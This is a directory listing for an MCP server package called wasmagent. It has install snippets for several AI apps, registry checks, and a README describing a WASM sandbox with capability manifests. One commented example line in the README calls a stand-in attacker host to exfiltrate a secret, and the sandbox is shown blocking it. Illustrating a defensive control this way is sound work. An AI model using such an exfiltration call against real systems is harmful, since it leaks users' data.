Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Description from the maker (original English)
WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.
These three are never merged into one score: opinions, measurements and popularity are different things.
We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.
Pick the AI app you use, then copy the settings.
You need
Which app do you use?
Pick your app above. We remember it, so next time the button says “Install in …”.
Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json
{
"mcpServers": {
"telleroutlook": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}Run this in your terminal
claude mcp add telleroutlook -- npx -y @wasmagent/mcp-serverPaste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json
{
"mcpServers": {
"telleroutlook": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.
Paste into .vscode/mcp.json in your project
{
"servers": {
"telleroutlook": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.
This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.
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These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.
Runs on your computer; the tool list appears in your AI app after you install it.
We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 6, 2026
The publisher (telleroutlook) is not the repo owner (WasmAgent); someone else may have listed it
We have not read this repo from GitHub yet
We have not read this repo from GitHub yet
This one runs on your computer; there is no internet endpoint
Runs on your computer and uses local settings instead
Runs on your computer; we can only read tool lists from internet endpoints
Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.
It passed 0 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.
The registry does not list a required key, though some servers ask you to sign in on first use.
It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).
The GitHub repo last changed –, and the latest version (1.1.1) reached the registry 4 months ago.
Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Node.js on your computer.
In the same category: Spec Driven Development, Remote Desktop Commander, Zoo MCP
Servers in the same category from other makers, sorted by stars.
Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
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An MCP server that provides access to the Zoo API for various CAD operations and tools.
Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.
Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.
Expose any wasmagent agent as a Model Context Protocol (MCP) server.
Part of wasmagent — a TypeScript + WASM agent runtime.
Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; +import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost -server.setRequestHandler(ListToolsRequestSchema, () => ({
-})); +// After: host sees ONLY docs_search + execute_code; model dispatches internally +const tools = new ToolRegistry(); +// tools.register(...) — register your 40 tools here + +await runStdio(createCodeModeServer({
+}));
At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.
npm install /mcp-server /core
The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:
# Zero-config default — code-mode server with VmKernel and no
npx /mcp-server
For a real deployment, write a small Node script and call runStdio() with your own server:
// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio"; import { QuickJSKernel } from "/kernel-quickjs"; import { ToolRegistry } from "/core";
const tools = new ToolRegistry(); // tools.register(...) — your tools here
await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], cpuMs: 5000 }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ }); const handler = createFetchHandler(server); // In a Worker: export default { fetch: handler }
handle()If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().
createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.
CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry(); // tools.register(...)
await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], // no outbound network allowedPaths: [], // no filesystem access cpuMs: 5_000, memoryLimitBytes: 64 * 1024 * 1024, }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));
// Model-generated code inside execute_code that tries to exfiltrate data: // fetch("https://attacker.example/exfil?data=secret") // → throws: network access denied — host "attacker.example" not in allowedHosts
The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.
Apache-2.0 — © wasmagent contributors